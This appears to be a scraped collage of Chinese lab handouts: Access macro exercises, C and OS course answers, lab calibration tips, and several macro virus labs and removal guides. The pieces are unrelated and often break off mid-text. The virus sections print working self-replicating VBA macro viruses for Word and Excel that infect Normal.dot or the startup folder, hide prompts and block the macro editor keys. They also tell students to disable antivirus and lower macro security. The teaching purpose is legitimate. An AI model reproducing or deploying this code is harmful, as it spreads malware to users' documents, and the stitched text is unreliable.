实验八-宏操作-答案

实验八-宏操作-答案
实验八-宏操作-答案

实验八宏操作

一、实验目的

掌握几种有关宏的创建方法。

二、实验要求

1. 了解宏的特性

2. 掌握宏与宏组的创建方法

3. 学习利用宏建立菜单

三、实验内容

实验8-1利用宏编辑器创建一个宏,打开“(飞翔)信息管理系统”数据库中的已知表“商品”。操作步骤如图8.1所示:

图8.1 创建宏

实验8-2利用“(飞翔)信息管理系统”数据库中创建一个宏组“ ”,打开多个表,宏组由“1”和“2”两个宏组成,其中,1功能是打开“订单”表。2功能是关闭“订单”表和打开“订单明细”。操作步骤如图8.2所示:

选择“宏”为操作对象,单击“新建”按钮,根据操作目标选择宏操作“”,表名称选择“商品”,如下图所示:

单击“退出”按钮,打开“另存为”对话框。保存宏,结束宏的创建。

单击“运行”按钮,查看宏“”的执行情况。

选择“宏”为操作对象,单击“新建”按钮,打开宏编辑器,

分别选择选择宏操作为“”和“”,对应的对象类型为

“表”,对象名称为“订单”和“订单明细”,如下图所示:

在宏编辑器中,选择“视图”菜单的“宏名”命

令,分别定义宏名(1和2),如下图所示:

选择“文件”菜单的“另存为”命令,打开“另存

为”对话框。保存宏组,结束宏的创建,如下图所

示:

单击“运行”按钮,查看宏“”的执行情况

图8.2创建宏组

提示:通过实验可以看出,当宏与宏组创建完成后,只有运行宏或宏组,才能实现宏操作。而宏组实际上是一个冠有不同宏名的多个宏的集合。如果直接运行宏组时,执行的只是第一个宏名所包含的所有宏命令,若要执行其他宏名中的宏命令,则要通过触发控件的事件代码执行宏命令,以及通过宏命令间接执行。

实验8-3利用“(飞翔)信息管理系统”数据库中创建一个“打开表”窗体,其中包含命令按钮,通过命令按钮控件运行宏组打开多个表。操作步骤如图8.3所示:

图8.3 触发控件运行宏

选择“宏”为操作对象,单击“新建”按钮,打开宏编辑器。在宏编辑窗口,打开“视图”菜单,选择“宏名”命令,分别定义宏名及对应的宏命令,如下列各图所示:

在宏编辑器中,选择“文件”菜单中的“另存为”命令,打开“另存为”对话框,如下图所示,保存宏组

选择“窗体”为操作对象,单击“新建”按钮,打开“新建窗体”窗口,选择“设计视图”,打开“窗体”窗口,在“窗体”对话框,设计窗体的属性,如下图所示:

在“窗体”对话框,给新窗体添加4个命令按钮控件,并定义其格式属性,如下列图所示:

在“窗体”对话框,给4个命令按钮控件定义其事件属性,如下列图所示:

在“窗体”窗口,给新窗体添加3个标签控件,并定义其属性如下列图所示:

保存后运行窗体,单击某一命令按钮,将运行宏组中的一组宏操作命令,如图所示:

提示:通过实验可以看出,宏可以由控件启动,在中,经常使用的宏运行方法是将宏赋予给某一窗体或报表控件的事件属性值,通过触发事件运行宏或宏组。宏设计通常有控件准备、宏编程和触发设置3步。

实验8-4使用“(飞翔)信息管理系统”数据库,创建“密码验证”窗体,并为它编写一个最简单的验证程序,程序逻辑是:如果密码输入正确,关闭验证窗体,否则显示信息“密码错误”,继续输入密码。操作步骤如图8.4所示:

图8.4 创建带条件的宏

提示:调试完程序后,在“密码”文本框中要设置掩码属性为密码型,以防输入时被人窥伺。通过实验可以看出,有些指令序列

选择“窗体”为操作对象,单击“新建”按钮,设计“密码验证”窗体如下图所示。注意文本框和按钮的名称为“密码”、“确认”,下面的宏引用要与此一致。

在数据库窗口的对象栏选择“宏”,单击“新建”按钮,自动产生暂名“宏1”的宏设计界面,如下图所示(注意 :左边除了“宏名”列,还有“条件”列,用鼠标右键单击宏设计窗口深色标题栏,即可在快捷菜单中打开/关闭此列)。编程完毕后,保存为“密码”宏。

设置“密码验证”窗体的“确认”按钮的“单击”事件,如下图所示:

试运行效果如图所示(密码错误时)。

是否执行,要根据某条件表达式当时是否去真值,这样的程序结构通常叫分支结构。在中,运行宏或宏组时可以设置某些限定的条件,使得宏或宏组被选择时使用。本实验中宏的第1行,其意思是当表达式“[密码]=“007””取真值(“”),就关闭当前窗口。第2行条件中的“…”表示条件同上,意思是当“[密码]=“007””时,执行完第1句接着执行本句——指令,表示本分支结束。只有当前2句条件列取值为假,第2句代表的另一分支才有机会执行。指令表示显示信息窗口,“消息”参数填写显示内容“密码错误”,其他参数都是可选项。

实验8-5在实验4的基础上建立一个完整的密码管理窗体。该窗体的记录源为个人密码表,结构为密码表(学号、姓名、班级、口令)。可以在“工具|启动”窗口设置它为启动后自动打开,以保证数据库的安全。拥有密码者有权更改密码(此处为“007”)。操作步骤如下:

图8.5 创建密码管理窗体

提示:在本实验中,对密码管理进行了完善。密码输入三次错误以上将自动退出(操作)。同时可以修改现有密码,并写入到“密码”表中。利用表达式,实现参数表达或对象引用,在使用中,要注意表达式的正确形式。

实验8-6使用宏,创建“(飞翔)信息管理系统”数据库主菜单。

选择“窗体”为操作对象,单击“新建”按钮,设计“密码管理”窗体如下图所示。注意窗体记录源为“密码表”。窗体上有一未绑定文本框:计数器(可见性:否;默认值:1)。其他三个文本框为密码、新密码、重复。

选择“宏”为操作对象,单击“新建”按钮,打开宏编辑器。在宏编辑窗口,打开“视图”菜单,选择“宏名”和“条件”命令,分别定义宏名、定义及对应的操作,如图所示:

将“密码管理.验证”、“密码管理.修改”分别挂到”密码管理“窗体”登录“、”修改登录“按钮的”单击“事件,试运行该窗体检验效果。如图所示:

操作步骤如下:

1)设计主菜单系统

设计主菜单就是根据系统的功能,规划设计一个菜单,使它能够展示系统功能,提供实现系统功能的选择方式。部分主菜单系统如下表所示:

设计好主菜单后,具体操作步骤如下图所示(以“订单管理”菜单为例):

在“数据库”窗口,选择“宏”为操作对象,单击“新建”按钮,打开宏编辑器。在宏编辑器中,打开“另存为”对话框。定义宏名为“主菜单”,单击“确定”按钮。在宏编辑器中,逐一定义菜单项的名称,以“订单管理”为例,如下图所示。

打开“主窗体”窗口,在窗体属性对话框的“菜单栏”的文本框内,输入菜单名“主菜单”。试运行该窗体,点击菜单项将打开对应窗体,如下图所示

在“数据库”窗口,选择“宏”为操作对象,单击“新建”按钮,打开宏编辑器。在宏编辑器中,打开“另存为”对话框。定义宏名为“订单管理”,单击“确定”按钮。打开“视图”菜单,选择“宏名”命令,在宏编辑器中增加一个“宏名”列,逐一定义菜单项中每个子菜单的名称和要执行的宏操作。保存宏,结束“订单管理”的创建,返回“数据库”窗口。

图8.6 利用宏创建菜单

Word宏病毒

Word宏病毒 1.实验目的(后果自负) Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。 2.实验所需条件和环境 硬件设备:局域网,终端PC机。 系统软件:Windows系列操作系统 支撑软件:Word 2003 软件设置:关闭杀毒软;打开Word 2003,在工具→宏→安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问 实验环境配置如下图所示: 受感染终端 受感染 Word文档 被感染终端宏病毒传播示意图 3.实验内容和分析 为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过

多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。 3.1. 例1 自我复制,感染word公用模板和当前文档 代码如下: 'Micro-Virus Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.SaveNormalPrompt = False Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With Host If .Lines(1.1) <> "'Micro-Virus" Then .DeleteLines 1, .CountOfLines .InsertLines 1, Ourcode .ReplaceLine 2, "Sub Document_Close()" If ThisDocument = nomaltemplate Then .ReplaceLine 2, "Sub Document_Open()" ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With MsgBox "MicroVirus by Content Security Lab" End Sub 打开一个word文档,然后按Alt+F11调用宏编写窗口(工具→宏→Visual Basic→宏编辑器),在左侧的project—>Microsoft Word对象→ThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。 3.1.1.代码解释 以上代码的基本执行流程如下: 1)进行必要的自我保护 Application.DisplayStatusBar = False Options.SaveNormalPrompt = False 高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将

实验室基本技能培训要点

实验室基本技能培训要点 4.2 仪器的较准 1、电子天平校准 因存放时间较长,位置移动,环境变化或为获得精确测量,天平在使用前,一般都应进行校准操作。 轻按CAL显示器出现CAL-100,闪烁,此时,把100g校准砝码放上称盘,显示器出现--------等待状态,经几秒名钟后显示器出现100.0000g,拿去校准砝码,显示器应出现0.0000g,如若显示不为零,则再清零,再重复以上校准操作(注意,为了得到准确的校准结果最好反复以上校准操作二次)。 2、容量仪器的较准 (1)、新到容量仪器使用前进行校准(容量瓶、量筒、刻度吸管、大肚吸管) (2)、容量仪器可分为“量入”和“量出”二大类。 (3)、先较准天平,再将容量仪器洗净、凉干后进行较准。 (4)、较准作业在20℃的室内进行,用蒸馏水或其它纯水进行。 3、酸度计校准 ?1 将“选择”钮拨至pH档,“斜率”旋钮顺时针旋到底;“温度” 旋钮旋至溶液的温度值。 ?2 把用蒸馏水清洗过的电极插入pH=6.86pH(25℃时的值)的标 准缓冲溶液中,待读数稳定后调节“定位”旋钮至该溶液在当时 温度下的pH值(当时温度下的pH值可查附录)。

?3 用蒸馏水清洗电极然后将电极插入pH=4.00或pH=9.18的标 准缓冲溶液中(根据被测溶液的酸碱性确定选择那一种缓冲溶 液,如果被测溶液呈酸性则选pH=4.00缓冲溶液;如果被测溶 液呈碱性则选pH=9.18的缓冲溶液),待读数稳定后调节“斜率” 旋钮至该溶液在当时温度下的pH值(当时温度下的pH值可 查附录)。 ?4 重复步骤2和3直到不需要再调节二旋钮为止。 ?5 标定结束(一般情况下,在24h内仪器不需要再标定)。 4.3基本仪器的使用方法 4.3.1滴定管的使用 ?使用时应先用欲滴定溶液润洗2-3次; ?注入溶液或放出溶液后,需等待30s-1min后才能读数(使附着 在内壁上的溶液留下); ?滴定管应用拇指和食指拿住滴定管的上端(无刻度处)使管身 保持垂直后读数; ?对于无色溶液或浅色溶液,应读弯月面下缘实线的最低点(视 线应与弯月面下缘实线的最低点相切); ?滴定时,最好每次都从0.00mL开始,或从接近零的任一刻度 开始,这样可固定在某一段体积范围内滴定,减少测量误差。 读数必须准确到0.01mL。 ?旋塞要保护润滑,适量使用凡士林,外套胶管固定,防止漏液。 4.3.2移液管的使用

操作系统课程设计答案

// tjty.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include #define Bsize 3 #define Psize 20 struct pageInfor { int content;//页面号 int timer;//被访问标记 }; class PRA { public: PRA(void); int findSpace(void);//查找是否有空闲内存 int findExist(int curpage);//查找内存中是否有该页面 int findReplace(void);//查找应予置换的页面 void display(void);//显示 void FIFO(void);//FIFO算法 void LRU(void);//LRU算法 void Optimal(void);//OPTIMAL算法 void BlockClear(void);//BLOCK恢复 pageInfor * block;//物理块 pageInfor * page;//页面号串 private: }; PRA::PRA(void) { int QString[20]={7,0,1,2,0,3,0,4,2,3,0,3,2,1,2,0,1,7,0,1}; block = new pageInfor[Bsize]; for(int i=0; i

block[i].timer = 0; } page = new pageInfor[Psize]; for(i=0; i= block[pos].timer) pos = i;//找到应予置换页面,返回BLOCK中位置return pos; } void PRA::display(void) {

上机实验8 二维数组&字符数组--参考答案

上机实验八二维数组与字符数组—参考答案 一.目的要求 1.掌握二维数组的基本概念,如何定义二维数组,如何初始化二维数组。 2.掌握二维数组的基本操作:引用数组元素、行(列)求和,行(列)最大最小值,整个数组的输入输出等。 3.掌握与二维数组有关的算法,如找最大最小值(或位置)、矩阵转置等。 4.掌握字符串与字符数组的基本应用方法 5.掌握字符串有关的算法,如字符转换、查询、统计和进制转换等 二.实验内容 【实验题1】程序填空:输入一个4×4矩阵,求出主对角线上的元素之和sum1、副对角线上的元素之和sum2,并输出结果。 提示:每一行只有一个主对角线元素a[i][i](特征:i==j),也仅有一个副对角线元素a[i][n-i-1](特征:i+j==n-1,即j=n-1-i) 源程序: #include void main() { int i,j,sum1=0,sum2=0, a[4][4]; printf("Input a 4*4 matrix:\n"); for(i=0; i<4; i++) //输入矩阵元素 for( j=0; j<4; j++) scanf("%d", &a[i][j]); for(i=0; i<4; i++ ){ //计算sum1和sum2 sum1 +=a[i][i]; sum2 +=a[i][3-i]; } printf("sum1=%d, sum2=%d\n", sum1,sum2); //输出结果 } 运行程序,并输入数据: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 运行结果:sum1= 34, sum2= 34 【实验题2】程序填空:打印杨辉三角形前10行: 1 1 1 1 2 1 1 3 3 1 1 4 6 4 1 1 5 10 10 5 1 …………………… 算法提示:分析一个10行的杨辉三角,需要一个10×10的二维矩阵a,则: 1)杨辉三角为下三角矩阵,只需要求出第i行(i=0,1,2,…,9)前i+1个元素,即a[i][j]!=0 (j=0…i). 2)每行的第0列元素均为1,即a[i][0]=1; 3)每行的主对角线元素也均为1,即a[i][i]=1; 4)从第2行开始,每行夹在第0列元素与主对角线元素之间的元素a[i][j]( i=2,3,…,9, j=1,..,i-1 ) 等于其左上方元素a[i-1][j-1]与正上方元素a[i-1][j]之和,即a[i][j]=a[i-1][j-1]+a[i-1][j]; 5)输出该矩阵的下三角,即得出杨辉三角的前10行。

清除宏病毒

清除宏病毒,名字是:StartUp.xls方法 --大白菜 文中图片都很小,看不清楚,可以用以下快捷方式:按住ctrl 向上滚动鼠标滑轮可以放大word,就可以看清楚图片了 病毒样本如下:(下面是宏病毒代码,电脑知识欠缺的,千万被乱动哦,小心弄巧成拙) Vba代码 =================宏病毒代码复制从下一行开始================= Sub auto_open() On Error Resume Next If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then Application.ScreenUpdating = False ThisWorkbook.Sheets("StartUp").Copy ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls") n$ = https://www.360docs.net/doc/b413521350.html, ActiveWindow.Visible = False Workbooks("StartUp.xls").Save Workbooks(n$).Close (False) End If Application.OnSheetActivate = "StartUp.xls!cop" Application.OnKey "%{F11}", "StartUp.xls!escape" Application.OnKey "%{F8}", "StartUp.xls!escape" End Sub Sub cop() On Error Resume Next If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then Application.ScreenUpdating = False n$ = https://www.360docs.net/doc/b413521350.html,

操作系统实验报告一

重庆大学 学生实验报告 实验课程名称操作系统原理 开课实验室DS1501 学院软件学院年级2013专业班软件工程2 班学生姓名胡其友学号20131802 开课时间2015至2016学年第一学期 总成绩 教师签名洪明坚 软件学院制

《操作系统原理》实验报告 开课实验室:年月日学院软件学院年级、专业、班2013级软件工 程2班 姓名胡其友成绩 课程名称操作系统原理 实验项目 名称 指导教师洪明坚 教师 评语教师签名:洪明坚年月日 1.实验目的: ?进入实验环境 –双击expenv/setvars.bat ?检出(checkout)EPOS的源代码 –svn checkout https://www.360docs.net/doc/b413521350.html,/svn/epos ?编译及运行 –cd epos/app –make run ?清除所有的临时文件 –make clean ?调试 –make debug ?在“Bochs Enhanced Debugger”中,输入“quit”退出调试 –调试指令,请看附录A 2.实验内容: ?编写系统调用“time_t time(time_t *loc)” –功能描述 ?返回从格林尼治时间1970年1月1日午夜起所经过的秒数。如果指针loc 非NULL,则返回值也被填到loc所指向的内存位置 –数据类型time_t其实就是long ?typedef long time_t; 3.实验步骤: ?Kernel space –K1、在machdep.c中,编写系统调用的实现函数“time_t sys_time()”,计算用户秒数。需要用到 ?变量g_startup_time,它记录了EPOS启动时,距离格林尼治时间1970年1午夜的秒数 ?变量g_timer_ticks

大学生C语言程序设计(第四版 谭洪强)实验8答案

实验八 函 数(二) 参考答案 /*1.(sy8-1.c ) 请编写函数 fun ,其功能是:计算并输出给定数组(长度为 9)中每相邻两个元素之平均值的平方根之和。 例如,给定数组中的 9 个元素依次为 12.0、34.0、4.0、23.0、34.0、45.0、18.0、3.0、11.0,输出应为:s=35.951014。 【解题思路】 在给出的参考程序中,由于函数要求的返回值为双精度型,所以先将变量 avg 、sum 定义为双精度型,初值为 0.0,然后通过 for 循环分别求出相邻两个元素的平均值放入变量 avg 中,再使用求平方根函数sqrt()对各平均值开方求和,最终结果输出到变量 sum 中并返回。 【参考答案】*/ double fun(double x[9]) { int i ; double avg=0.0,sum=0.0; //将变量avg 、sum 定义为双精度型,并给其赋初值为0.0 for (i=0;i< 8;i++) { avg=(x[i]+x[i+1])/2; //通过for 循环分别求出相邻两个元素的平均值放入变量avg 中 sum+=sqrt(avg); //使用求平方根函数sqrt()对各平均值开方求和,最终结果输出到变量 sum } return sum; /*返回计算结果*/ } 2.(sy8-2.c ) 编写函数fun ,实现矩阵(3行3列)的转置(即行列互换)。例如,输入下 面的矩阵:????? ??900800700600500 400300200 100,程序输出: ???? ? ??900600300800500200700400100。 【解题思路】 方阵转置,只需要将左下半三角元素和右上半三角元素对换即可。 【参考答案】 int fun(int array[3][3]) { int i,j,t ; for(i = 0 ; i < 3 ; i++) for(j = 0 ; j < i ; j++) {t=array[i][j]; array[i][j]=arrar[j][i]; array[j][i]=t ; } } 3.(sy8-3.c ) 请编写函数 fun ,函数的功能是:统计一行字符串中单词的个数作为函数值返回。一行字符串在主函数中输入,规定所有单词由小写字母组成,单词之间由若干个空格隔开,一行的开始没有空格。 【解题思路】I am a student! 在给出的参考程序中,若判断出当前字符为非空格,而它前面的字符是空格,则单词数累加 1;若当前字符为非空格,而其前面的字符也为非空格,则单词数不累加 1,程序细节可以参考程序的注释部分。 【参考答案1】 int fun( char s[])

宏病毒分析及清除实验

实验五宏病毒分析及清除实验 姓名:xxx 学号:xxxxxxxx 日期:2014年4月26日 专业:计算机科学与技术 一、实验目的 ?了解“宏病毒”机理; ?掌握清除宏病毒的方法; ?掌握采用“宏”和脚本语言进行编程的技术。 二、实验环境 ?Windows2003操作系统; ?Office Word2003字处理软件。 三、实验内容 1.软件设置 关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visual basic项目的访问”。 注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。 2.自我复制功能演示 打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏”“Visual Basic宏编辑器”),在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。 完整代码如下:

化学实验室基本操作

化学实验室基本操作 化学实验室基本操作2010-07-24 11:54一、常用仪器的主要用途和使用 方法 反应容器:试管、燃烧匙、烧杯、锥形瓶、集气瓶 存放容器:集气瓶(气体)、细口瓶(液体)、广口瓶(固体)、滴瓶(少量液体) 计量仪器:托盘天平(称固体质量)、量筒(量液体体积) 取用仪器:镊子(块状或较大颗粒)、药匙或纸槽(粉末或小颗粒)、胶头滴 管(少量液体) 夹持容器:试管夹、坩埚钳、铁架台(带铁圈、铁夹) 其它仪器:漏斗、长颈漏斗、分液漏斗、石棉网、玻璃棒、水槽、试管刷 可直接加热的:试管、蒸发皿、燃烧匙 能间接加热的(需垫石棉网):烧杯、烧瓶、锥形瓶 加热仪器:酒精灯 1.烧杯圆柱状玻璃容器,杯口有便于倒出液体的嘴。 常用的有25mL、50mL、100 mL、250 mL、500 mL等 (1)用于大量物质的溶解和配制溶液或者进行化学反应的容器,也常用于接 过滤后的液体。 (2)实验时盛放液体的量不超过烧杯容积的1/2,以防搅拌时溅出。 (3)向烧杯中注入液体的时候,应沿烧杯内壁或玻璃棒引流。

(4)加热时要垫石棉网,也防受热不均而使其破裂。烧杯不能用作加热固体试剂。 2.试管 (1)用于少量物质的溶解或发生化学反应的仪器,也常用于制取或收集少量气体。 (2)振荡试管的方法:手持试管、手腕摆动。 3)实验时盛放液体量不能超过试管容积的1/3,以防振荡或加热时溅出。可直接加热。 (4)用试管夹或者铁夹固定时,要从试管底部向上套,夹持在试管的中上部(或离管口1/3的部位)。 3.蒸发皿 (1)用于溶液的蒸发、结晶 2)蒸发过程中需用玻璃棒不断搅拌,防止液体由于局部温度过高而飞溅 3)当溶液的量减少只有大量晶体析出时,停止加热并放至石棉网上,以防晶体飞溅 (4)取放蒸发皿,要用坩埚钳夹持 4.集气瓶 (1)用于收集气体、短时间贮存气体、用做物质在气体中的燃烧的反应器 (2)在收集气体或贮存气体时,要用毛玻璃片盖住瓶口。 5、试剂瓶 试剂瓶包括滴瓶、细口瓶、广口瓶等。分为无色和棕色两种。

八年级生物实验探究及答案

八年级生物实验探究及答 案 Prepared on 21 November 2021

生物实验探究 班级:姓名: 1.仔细观察蝗虫的胸部和腹部。可以在左右两侧找到排列很整齐的一行小孔,这就是气门。气门与蝗虫体内的气管连通着,气门是气体进入蝗虫身体的门户,依据给的实验材料,设计一个实验,证明气门是蝗虫气体进入的门户。提出问题: 做出假设:。 材料用具:(1)两只活蝗虫;(2)两只试管;(3)清水;(4)玻璃条;(5)细线。实验步骤:(1) (2) ; (3) 实验预期结果: 实验结论:。 讨论:选择两只大小、生活状况相同的蝗虫,目的是 2.设计探究实验 背景知识:蚯蚓生活在潮湿、疏松、富含有机物的土壤中。它的身体由许多体节构成,体表湿润并且有许多粗糙的刚毛。蚯蚓依靠肌肉和刚毛运动。 请你设计一个实验来探究: 蚯蚓在什么样的物体表面爬得快 (1)我提出的问题是: (2)我的假设是: (3)实验方案设计:将个体粗壮的活蚯蚓放在粗糙纸上,观察它的运动;将个体粗壮的活蚯蚓放在玻璃板上,观察它的运动;重复上述实验3-5次。 (4)预测结果:。 (5)得出结论:。 3.某同学想探究土壤湿度对蚯蚓生活的影响,未完成,请你接着做它。 (1)你认为他可在的环境中才能找到试验用的蚯蚓。 (2)按照科学实验的要求,他必须设计对照,才更具有说服力。 在这个实验中是变量,要控制好。 (3)你作出的假设是:。 (4)请你设计一个实验来探究土壤湿度对蚯蚓的影响:(只写出具体操作步骤即可) 。

(5)实施计划。 4.菜青虫是生活在十字花科蔬菜菜叶上的一种深绿色的小肉虫,它是菜粉蝶的幼虫。 十字花科植物的花一般由四片花瓣组成,并且这四片花瓣呈十字形排列,大白菜、卷心菜、油菜等都属于十字花科的蔬菜。 (1)提出问题:; (2)作出假设:; (3)设计实验,完成实验 ◆培养菜青虫:寻找菜青虫卵,找到后将卵隔离饲养 ◆制取汁液: ◆用汁液涂滤纸: ◆观察现象: (4)检验假设,得出结论。 (5)讨论和完善计划 ◆从卵开始进行隔离饲养的目的:。 ◆对菜青虫卵隔离饲养的方法:人工条件下饲养菜青虫,隔离卵并不困难。但要饲养成活,还是有些难度的。 首先,要尽可能为菜青虫创造一个接近自然生存环境的饲养条件,目 的:。其次,饲养的数量也不宜过少,目 的:。 ◆可以选择含特殊挥发性油的植物叶片,如薄荷叶、芹菜叶等。看看菜青虫是否喜欢。叶片最好不要带毛或刺 等,。 ◆实验用的叶片和滤纸等应当一样大:这样做的目的也 是。 ◆滤纸的颜色要和菜叶的一样。选择一样的色彩也是为了。 ◆最好是事先饿饲一段时间,在菜青虫有较高食欲时做这项探究。可以将滤纸和菜叶放在同一水平线上,使菜青虫离滤纸和菜叶同样距离(距离不要太远)。放开菜青虫,看看它会取食什么东西。 ◆对照实验要在同样的时间和地点来做:这 样。 5.一个群体中的动物个体向其他个体发出某种信息,接受信息的个体产生某种行为反应,这种现象叫做通讯。 (1)提出问题: (2)作出假设: (3)设计实验,完成实验。 在设计实验时,在离蚁穴较远的地方放的一些食物中,应既有肉食又有植食。因为蚂蚁的种类很多,食性也不尽相同,有的为肉食性,有的为植食性,有的则为杂食性。在饲养蚂蚁时也需注意它的食性,蚂蚁生长繁殖的适宜温度

实验三 脚本病毒和宏病毒分析

实验三脚本病毒和宏病毒分析 一、实验目的 通过这项实验旨在使学生掌握Office下宏病毒的基本原理,主要包括它的传染机制、破坏机制以及怎样清除Office下的宏病毒。 二、实验环境 操作系统环境:Windows98/NT/2000/XP 编程环境:Office VBA 三、实验基础知识要求 Office VBA编程环境 四、实验任务 1.任务性质:验证性实验 2.任务描述:下面的示例中给出的是一个Word宏病毒的示例程序(只有传染模块),仔细阅读源程序,掌握Word宏病毒的传染过程。 3.任务步骤: (1)打开Word2000,新建一个文档名为“test”; (2)点击“工具-宏-宏”,在对话框“宏的位置”选择“test”,在宏名中输入“autoclose”,然后点击“创建”按钮; (3)在VBA编辑环境中输入示例程序中给出的代码,并保存,然后退出VBA; (4)点击“工具-宏-宏”,在对话框中点击“管理器”按钮,在管理器对话框中点击“宏方案项”标签;在宏方案项有效范围的“test.doc”中将“NewMacros”改名为“AOPEDMOK”; (5)点击“工具-宏-安全性”,在安全性对话框中的安全级标签中选择“低”,在可靠性来源标签中选择“信任对VB项目的访问”; (6)保存并关闭“test”文档; (7)新建一个文档test1,关闭后重新打开,观察test1是否被感染。 (8)清除此宏病毒,即要同时删除normal模板、所有活动模板、和染毒文件的autoclose 宏。 4.示例程序 Sub autoclose() ' autoclose Macro ' 宏在2005-8-26 由jingjd 创建 On Error Resume Next Application.DisplayAlerts = wdAlertsNone Application.EnableCancelKey = wdCancelDisabled Application.DisplayStatusBar = False 'Options.VirusProtection = False Options.SaveNormalPrompt = False Const VirusName = "AOPEDMOK" 'MsgBox ActiveDocument.VBProject.VBComponents.Item(2).Name 'MsgBox ActiveDocument.VBProject.VBComponents(2).Name Set Doc = ActiveDocument.VBProject.VBComponents Set Tmp = NormalTemplate.VBProject.VBComponents Const ExportSource = "E:\aopedmok.txt" For j = 1 To Doc.Count

操作系统实验报告

操作系统实验报告 集团企业公司编码:(LL3698-KKI1269-TM2483-LUI12689-ITT289-

实验二进程调度1.目的和要求 通过这次实验,理解进程调度的过程,进一步掌握进程状态的转变、进程调度的策略,进一步体会多道程序并发执行的特点,并分析具体的调度算法的特点,掌握对系统性能的评价方法。 2.实验内容 阅读教材《计算机操作系统》第二章和第三章,掌握进程管理及调度相关概念和原理。 编写程序模拟实现进程的轮转法调度过程,模拟程序只对PCB进行相应的调度模拟操作,不需要实际程序。假设初始状态为:有n个进程处于就绪状态,有m个进程处于阻塞状态。采用轮转法进程调度算法进行调度(调度过程中,假设处于执行状态的进程不会阻塞),且每过t个时间片系统释放资源,唤醒处于阻塞队列队首的进程。 程序要求如下: 1)输出系统中进程的调度次序; 2)计算CPU利用率。 3.实验环境 Windows操作系统、VC++6.0 C语言 4设计思想: (1)程序中进程可用PCB表示,其类型描述如下:

structPCB_type { intpid;//进程名 intstate;//进程状态 2——表示“执行”状态 1——表示“就绪”状态 0——表示“阻塞”状态 intcpu_time;//运行需要的CPU时间(需运行的时间片个数) } 用PCB来模拟进程; (2)设置两个队列,将处于“就绪”状态的进程PCB挂在队列ready中;将处于“阻塞”状态的进程PCB挂在队列blocked中。队列类型描述如下: structQueueNode{ structPCB_typePCB; StructQueueNode*next; } 并设全程量: structQueueNode*ready_head=NULL,//ready队列队首指针 *ready_tail=NULL,//ready队列队尾指 针

实验8部分答案

SQL数据查询语句: 1: (选择表中的若干列) 求全体学生的学号、姓名、性别和年龄。 2: (不选择重复行) 求选修了课程的学生学号。 3: (选择表中的所有列) 求全体学生的详细信息。 4: (使用表达式) 求全体学生的学号、姓名和出生年份。 5: (使用列的别名) 求学生的学号和出生年份,显示时使用别名“学号”和“出生年份”。 6: (比较大小条件) 求年龄大于19岁的学生的姓名和年龄。 7: (比较大小条件) 求注册B1班或注册B2班年龄大于18岁的学生的姓名、班级号和年龄。 8: (确定范围条件) 求年龄在19岁与22岁(含20岁和22岁)之间的学生的学号和年龄。 9: (确定范围条件) 求年龄不在19岁与22岁之间的学生的学号和年龄。 10:(确定集合条件) 求在下列各班的学生信息:注册B1班、注册B2班。 11:(确定集合条件) 求不是注册B1班、注册B2班的学生信息。 12:(匹配查询) 求姓名是以“李”打头的学生。 13:(匹配查询) 求姓名中含有“志”的学生。

14:(匹配查询) 求姓名长度至少是三个汉字且倒数第三个汉字必须是“马”的学生。 15:(匹配查询) 求选修课程JC001或JC003,成绩在80至90之间,学号为2007xxx的学生的学号、课程号和成绩。 16:(涉及空值查询) 求缺少学习成绩的学生的学号和课程号。 17:(控制行的显示顺序) 求选修JC003课程或JC004课程的学生 的学号、课程号和分数。 18:(组函数) 求学生总人数。 19:(组函数) 求选修了课程的学生人数。 20:(组函数) 求注册B1班学生的平均年龄。 21:(组函数) 求选修了课程JC001的最高、最低与平均成绩以及 课程的名称。 22:(分组查询) 求各门课程的平均成绩与总成绩。 23:(分组查询) 求各班级的人数和平均年龄。 24:(分组查询) 输入以下查询语句并执行,观察出现的其结果并 分析其原因。 SELECT SNAME,SDEPT,COUNT(*)FROM STUDENT WHERE SDEPT=’CS’GROUP BY SDEPT; 25:(分组查询) 分析以下语句为什么会出现错误。并给出正确的 查询语句。

宏病毒实验报告

